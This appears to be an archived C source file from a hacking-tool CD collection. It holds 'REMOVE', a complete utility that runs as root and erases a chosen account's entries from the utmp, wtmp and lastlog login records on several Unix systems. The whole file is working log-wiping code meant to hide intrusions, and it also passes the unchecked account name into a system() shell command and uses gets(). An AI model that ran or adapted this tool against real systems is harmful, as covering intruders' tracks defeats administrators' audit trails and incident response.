home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / remove.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  5.0 KB  |  187 lines

  1. /*
  2. REMOVE       -- February 26, 1997
  3. Simple Nomad -- Nomad Mobile Research Centre
  4.  
  5. Universal utmp, wtmp, and lastlog editor. Actually 
  6. removes, doesn't leave holes...
  7.  
  8. Compile "cc -o remove remove.c -DGENERIC" and run 
  9. as root. Use -DAIX instead of -DGENERIC for an AIX 
  10. machine. Use -DSCO instead of -DGENERIC for a SCO 
  11. machine. 
  12. */
  13.  
  14. #include <stdio.h>
  15. #include <utmp.h>
  16. #include <sys/types.h>
  17. #include <unistd.h>
  18. #include <fcntl.h>
  19. #ifndef AIX
  20. #include <lastlog.h>
  21. #else
  22. #include <login.h>
  23. #endif
  24. #include <pwd.h>
  25.  
  26. #ifdef AIX
  27. #define WTMP "/var/adm/wtmp"
  28. #define UTMP "/etc/utmp"
  29. #define LASTLOG "/etc/security/lastlog" /* Not a binary file in AIX, so */
  30. /* handled a bit differently.   */
  31. char LogParam[7][30]=
  32. {
  33.   "time_last_login=","tty_last_login=","host_last_login=",
  34.   "unsuccessful_login_count=","time_last_unsuccessful_login=",
  35.   "tty_last_unsuccessful_login=","host_last_unsuccessful_login="
  36. };
  37. #endif
  38. #ifdef SCO
  39. #define WTMP "/etc/wtmp"   /* wtmp was here on the SCO box I accessed */
  40. #define UTMP "/var/adm/utmp"
  41. #define LASTLOG "/var/adm/lastlog"
  42. #endif
  43. #ifdef GENERIC  /* Should work with Linux, IRIX, Digital Unix, BSDs, etc */
  44. #define WTMP "/var/adm/wtmp"
  45. #define UTMP "/var/adm/utmp"
  46. #define LASTLOG "/var/adm/lastlog"
  47. #endif
  48.  
  49. void main(argc,argv)
  50. int  argc;
  51. char *argv[];
  52. {
  53.   int cleanWtmp(char *,int);
  54.   int cleanUtmp(char *,int);
  55.   int cleanLastlog(char *);
  56.   int getCount(char *,char *);
  57.   char line[10];
  58.   int killem, firstcnt, t;
  59.  
  60.   if(argc!=2)
  61.   {
  62.     printf("Usage: %s acct\n",argv[0]);
  63.     exit(0);
  64.   }
  65.   firstcnt=getCount(WTMP,argv[1]); /* Get an initial count */
  66.   printf("\nREMOVE by Simple Nomad\nNomad Mobile Research Centre (c) 1997\n\n");
  67.   printf("Found %d record(s) for user %s\n",firstcnt,argv[1]);
  68.   printf("Will attempt a lastlog cleanup by default.\n\n");
  69.   printf("#    - remove last # records from utmp/wtmp\n");
  70.   printf("a    - remove (a)ll records from utmp/wtmp\n");
  71.   printf("q    - (q)uit program\n\n");
  72.   printf("Enter selection -> ");
  73.   gets(line);
  74.   if(line[0]==0x51 || line[0]==0x71) exit(0);
  75.   if(line[0]==0x41 || line[0]==0x61) killem=firstcnt;
  76.   else killem=atoi(line);
  77.   if (killem>firstcnt)
  78.   {
  79.     printf("You cannot delete %d records if only %d exist.\n",killem,firstcnt);
  80.     exit(-1);
  81.   }
  82.   t=cleanWtmp(argv[1],killem); /* Now to clean up utmp and wtmp */
  83.   if (t==1) {
  84.     printf("Trouble cleaning up %s.\n",WTMP);
  85.     exit(-1);
  86.   } else printf("REMOVE cleaned up %d record(s) from %s\n",killem,WTMP);
  87.   t=cleanUtmp(argv[1],killem);
  88.   if (t==1) {
  89.     printf("Trouble cleaning up %s.\n",UTMP);
  90.     exit(-1);
  91.   } else printf("REMOVE cleaned up %d record(s) from %s\n",killem,UTMP);
  92.   t=cleanLastlog(argv[1]);    /* Make our attempt at lastlog */
  93.   if (t==1) {
  94.     printf("Trouble cleaning up %s.\n",LASTLOG); exit(-1);
  95.   }
  96.   printf("REMOVE cleaned up %s\n",LASTLOG);
  97. } /* end main */
  98.  
  99. int getCount(fname,acct) /* Go check wtmp and find out how many records */ 
  100. char *fname, *acct;
  101. {
  102.   struct utmp utmp_ent;
  103.   int f,cnt=0;
  104.  
  105.   if((f=open(fname,O_RDWR))>=0){
  106.     while(read(f,&utmp_ent,sizeof(utmp_ent)))if(!strncmp(utmp_ent.ut_name, acct,strlen(acct)))cnt++;
  107.   }
  108.   close(f);
  109.   return(cnt);
  110. } /* end getCount */
  111.  
  112. int cleanWtmp(acct,killem)
  113. char *acct;
  114. int killem;
  115. {
  116.   struct utmp utmp_ent;
  117.   int fd,count=0;
  118.   if((fd=open(WTMP,O_RDWR))>=0){
  119.     while(read(fd,&utmp_ent,sizeof(utmp_ent)))if(!strncmp(utmp_ent.ut_name,acct,strlen(acct)))count++;
  120.     lseek(fd,0,SEEK_SET);
  121.     while(read(fd,&utmp_ent,sizeof(utmp_ent))&&killem){
  122.       if(!strncmp(utmp_ent.ut_name,acct,strlen(acct))){
  123.         count--;
  124.         if(count+1<=killem){
  125.           bzero((char *)&utmp_ent,sizeof(utmp_ent));
  126.           lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR);
  127.           write(fd,&utmp_ent,sizeof(utmp_ent));
  128.           killem--;
  129.         }
  130.       }
  131.     }
  132.     close(fd);
  133.   }
  134.   else return(1);
  135. } /* end cleanWtmp */
  136.  
  137. int cleanUtmp(acct,killem)
  138. char *acct;
  139. int killem;
  140. {
  141.   struct utmp utmp_ent;
  142.   int fd;
  143.   if((fd=open(UTMP,O_RDWR))>=0){
  144.     lseek(fd,0,SEEK_SET);
  145.     while(read(fd,&utmp_ent,sizeof(utmp_ent))&&killem){
  146.       if(!strncmp(utmp_ent.ut_name,acct,strlen(acct))){
  147.         if(killem>0){
  148.           bzero((char *)&utmp_ent,sizeof(utmp_ent));
  149.           lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR);
  150.           write(fd,&utmp_ent,sizeof(utmp_ent));
  151.           killem--;
  152.         }
  153.       }
  154.     }
  155.     close(fd);
  156.   }
  157.   else return(1);
  158. } /* end cleanUtmp */
  159.  
  160. int cleanLastlog(acct) /* The lastlog subroutine */ 
  161. char *acct;
  162. {
  163. #ifdef AIX /* Quite a kludge for AIX, but what the fuck it works */
  164.   int t,i;
  165.   char entry[200];
  166.   for (i=0;i<7;i++)
  167.   {
  168.     sprintf(entry,"chsec -f %s -s %s -a %s>/dev/null",LASTLOG,acct,LogParam[i]);
  169.     t=system(entry);
  170.     printf("Return code for %s is %d\n",LogParam[i],t);
  171.   }
  172. #else  /* Normal binary lastlog cleanup */
  173.   struct passwd *pwd;
  174.   struct lastlog logit;
  175.   int f;
  176.   if((pwd=getpwnam(acct))){
  177.     if((f=open(LASTLOG,O_RDWR))>=0){
  178.       lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0);
  179.       bzero((char *)&logit,sizeof(logit));
  180.       write(f,(char *)&logit,sizeof(logit));
  181.       close(f);
  182.     }
  183.   }
  184.   else return(1);
  185. #endif
  186. } /* end cleanLastlog */
  187.